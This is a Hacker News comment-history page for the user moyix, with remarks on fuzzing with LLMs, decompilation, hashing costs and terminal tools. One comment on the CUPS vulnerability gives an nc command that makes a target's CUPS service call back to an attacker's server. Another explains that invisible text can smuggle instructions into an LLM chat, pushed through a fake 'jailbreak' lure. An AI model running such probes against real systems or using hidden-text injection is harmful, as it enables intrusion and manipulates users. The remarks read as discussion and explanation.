HNHacker News
TopNewBestAskShowJobs

moyix

5,326 karma · joined October 22, 2009

Building AI agents for offensive security at XBOW. Follow me as @moyix on twitter.

[ my public key: https://keybase.io/moyix; my proof: https://keybase.io/moyix/sigs/V3JmdAynroihDrQHMzQhfzdrddq_3COt1_AkHFDcbRM ]

submissionscomments
moyix··on Attacking UNIX Systems via CUPS
nmap can't really tell the difference between an open or a firewalled UDP port. For this specific vuln you can send it a packet like:

echo "0 3 http://myserver:PORT/printers/foo" | nc -u target 631

And if the target is running CUPS on that port it will reach out to `myserver:PORT` and POST some data. The downside is you need to have a server running that can accept inbound requests to see if it connects back.

moyix··on Large Enough
Long agent trajectories, especially with command outputs.
moyix··on Pseudo Graceful Process Termination Through Code Injection
syscall is only available if gdb is able to resolve libc. So for example this won’t work to stop a process running in a container, since gdb won’t be able to see the libc in the container’s filesystem. I did make my own variant using gdb, though, nicely explained here: https://thomasw.dev/post/killbutmakeitlooklikeanaccident/
moyix··on LLM4Decompile: Decompiling Binary Code with LLM
Yes, that's a limitation of trying to ensure exact binary reconstruction. Luckily there is also a separate line of work on detecting the compiler version and optimization flags based on a binary – it turns out this is not that hard and it's easy to get a bunch of labeled data for a classifier.

If folks are interested in reading more there's a nice paper by Grammatech on the idea: https://eschulte.github.io/data/bed.pdf (though it's pre-LLM and uses evolutionary algorithms on the initial decompilation to search for a version that recompiles exactly).

moyix··on Using LLMs to Generate Fuzzers
They're actually orthogonal approaches – from what I've seen so far the LLM fuzzer generates much higher quality seeds than you'd get even after fuzzing for a while (in the case of the VRML target, even if you start with some valid test files found online), but it's not as good at generating broken inputs. So the obvious thing to do is have the LLM's fuzzer generate initial seeds that get pretty good coverage and then a traditional coverage-guided fuzzer to further mutate those.

These are still pretty small scale experiments on essentially toy programs, so it remains to be seen if LLMs remain useful on real world programs, but so far it looks pretty promising – and it's a lot less work than writing a new libfuzzer target, especially when the program is one that's not set up with nice in-memory APIs (e.g., that GIF decoder program just uses read() calls distributed all over the program; it would be fairly painful to refactor it to play nicely with libfuzzer).

moyix··on Using LLMs to Generate Fuzzers
I don't think using a language model to generate inputs directly is ever going to be as efficient as writing a little bit of code to do the generation; it's really hard to beat an input generator that can craft thousands of inputs/second.
moyix··on Using LLMs to Generate Fuzzers
The original test of the GIF parser does, but the VRML parser less so and the completely novel packet parser even less so. I'm not quite sure what you mean by the scope of the "unknown" format being limited – it's not the most complex format in the world, but neither is GIF.

Another test to check how much seeing the actual parser code helps is to have it generate a GIF fuzzer without giving it the code:

https://twitter.com/moyix/status/1766135426476064774

And finally, for fun, we can see how it does when we give it the RFC for GIF89a:

https://twitter.com/moyix/status/1766207786751279298

moyix··on Using LLMs to Generate Fuzzers
Yes – it's a bit hard to follow the various branches of the thread on Twitter (I wasn't really intending this to be more than a 30 minute "hey that's neat" kind of experiment, but people kept suggesting new and interesting things to try :)), but I gave Claude Opus three independent tries at creating a fuzzer for Toby's packet parser, and it consistently missed the fact that it needed to include the sequence number in the CRC calculation.

Once that oversight was pointed out, it did write a decent fuzzer that found the memory safety bugs in do_read and do_write. I also got it to fix those two bugs automatically (by providing it the ASAN output).

moyix··on We hacked Google A.I.
Worth noting that you can use "invisible text" to give instructions to LLMs without it showing up in the chat box. So all you have to do is get someone to copy/paste one of those messages into their chat, and there are lots of ways you might be able to do this ("omg I figured out a cool new jailbreak that makes the model do anything you want!"). See here for more details:

https://news.ycombinator.com/item?id=39004822

https://twitter.com/goodside/status/1746685366952735034

moyix··on Hallucination is inevitable: An innate limitation of large language models
The theorem that proves this is the PCP Theorem, in case anyone wants to read more about it: https://en.wikipedia.org/wiki/PCP_theorem#PCP_and_hardness_o...
moyix··on Hallucination is inevitable: An innate limitation of large language models
Seems to be contradicted by this paper, no?

https://arxiv.org/abs/2207.05221

moyix··on Atuin – Magical shell history
Atuin is lovely, although I found some of its defaults pretty annoying until I changed them:

- It turns out I basically never want fuzzy search through my command history, and certainly not by default. I gave it a try for a couple weeks but it was very frustrating to be searching for a particular command, type in the exact prefix, and have the thing I was looking for hidden among hundreds of irrelevant entries. Solution: search_mode = "fulltext" in Atuin's config.toml

- Having a full screen pop-up appear whenever I hit up was really jarring, especially since I have a habit of hitting up a few times when I'm at the command line thinking of what I need to do next, to sort of refresh my memory on what I was just doing; the popup very effectively destroyed that chain of thought. Solution: eval "$(atuin init bash --disable-up-arrow)" in .bashrc

These are pretty minor issues and it's possible my preferences are just different from most!

Atuin now works really nicely for me. My only outstanding issues are:

- Under mosh the UI ends up corrupting the screen; apparently this is really more of a mosh bug (no alternate screen support) and you can work around it by having tmux/screen running: https://github.com/atuinsh/atuin/issues/1324

- I still don't have a great model in my head of how sync works and find myself occasionally force-syncing across a few systems until I convince myself everything is in the same state.

- It would be nice to have some kind of settings sync so I don't have to make the config changes mentioned above on 10 different systems. Surprisingly I don't see a feature request for this yet so maybe I'll go open one...

Anyway I don't want these issues to stop people from trying Atuin – it's a really nice piece of software. I almost never make changes to the default environment so I consider it a testament to how useful it is that I've added it to all the systems I use regularly!

moyix··on Reverse-engineering an encrypted IoT protocol
Not free, but I have used 010 Editor for years and it's excellent.
moyix··on Asciinema 3.0 will be rewritten in Rust
The startup time mentioned is actually a big deal for me – I do record all of my terminal sessions (I even wrote a tool that uses his avt library to grep through the terminal logs, although I never got around to making it fast enough to be really useful: https://github.com/moyix/termgrep), and with the Python version I often lose the first few characters of my first command in a new terminal because asciinema is still starting up...
moyix··on Out-of-bounds read and write in the glibc's qsort()
In theory this is what CVSS scores were supposed to fix, but a lot of the "does this vulnerability really matter" evaluation ultimately depends on the details of your environment and application :(
moyix··on Out-of-bounds read and write in the glibc's qsort()
It's a bit debatable whether this is a security bug vs a "you're holding it wrong" kind of bug, but fixing the bounds check is a good defensive practice and I'm glad they implemented it.

Somewhat tangentially, Microsoft at one point got in a bit of trouble for trying to use a randomized comparison function to implement shuffling on their "Browser choice" page:

https://www.robweir.com/blog/2010/02/microsoft-random-browse...

moyix··on I just wanted Emacs to look nice – Using 24-bit color in terminals
Tried it. Slow, uses lots of memory.
moyix··on I just wanted Emacs to look nice – Using 24-bit color in terminals
It's the default, which means it has a lot of people use it. And IME the alternatives on mac aren't very good.
moyix··on I just wanted Emacs to look nice – Using 24-bit color in terminals
My guess is that widespread 24-bit support in terminal apps is still held back by the fact that the macOS terminal still doesn't support it. As far as I can tell nearly everything else does :(
moyix··on Meta AI releases Code Llama 70B
AlphaCodium is more of a prompt engineering / flow engineering strategy, so it can be used with existing models.
moyix··on Meta AI releases Code Llama 70B
You can run it on a Macbook M1/M2 with 64GB of RAM.
moyix··on Meta AI releases Code Llama 70B
My Macbook has a mere 64GB and that's plenty to run 70B models at 4-bit :) LM Studio is very nice for this.
moyix··on The Curious Case of MD5
Are you trying to get at the distinction between second preimage and collision resistance? If all you need is a collision, "try random pairs until you find a collision" method works fine and is arbitrarily parallelizable with no storage.
moyix··on The Curious Case of MD5
I don't think that's correct? It's probabilistic, yes, but in expectation you would still need ~2^64 hashes to find a collision for a 128-bit hash (birthday paradox).
moyix··on The Curious Case of MD5
You can generate pairs of hashes for random inputs and check for collision without storing all of the outputs, no?
moyix··on The Curious Case of MD5
Since that post was published, the 4090 came out, which can (according to this hashcat benchmark [1]) do 50,638.7 million SHA1 hashes per second, so now it would only take a single 4090 GPU 11.55 years. Or you could buy 12 of them and do it in a year, etc. So it's definitely not cheap but 15 years is definitely an overestimate (and presumably GPUs will keep getting faster...).

SHA2-256 is "only" 21975.5 MH/s so you'd have to double the number of GPUs or amount of time.

[1] https://gist.github.com/Chick3nman/32e662a5bb63bc4f51b847bb4...

moyix··on Do It Yourself Blind Repair
Unfortunately the site doesn't seem to cover cordless blinds? In New York they're voluntarily phasing out corded blinds because of safety issues with small children, but the cordless blinds we have are terrible and unreliable.
moyix··on Magicoder: Source Code Is All You Need
At least they used HumanEval+, which adds a bunch more test cases and fixes some errors in the original benchmark!
moyix··on CTF Writeup: Abusing select() to factor RSA
As one safety measure, compiling with -DFORTIFY_SOURCE > 0 will enable checks on the FD_SET etc macros:

https://github.com/bminor/glibc/commit/a0f33f996f7986dbf3763...

The kernel side interface probably won't change because apparently legitimate apps have been allocating fd_sets on the heap to monitor fds > 1024 and they don't want to break those:

https://sourceware.org/bugzilla/show_bug.cgi?id=10352#c7

The underlying problem was also discussed in an article by Lennart Poettering (of systemd fame) and posted to HN back in 2021:

https://news.ycombinator.com/item?id=27215690

https://0pointer.net/blog/file-descriptor-limits.html

moyix··on Asciinema: Record and share your terminal sessions, the simple way
From what I can see this captures screenshots? A nice feature of asciinema is that you can select text from the recordings during playback or programmatically extract it from the log files.
← PreviousPage 2 of 22Next →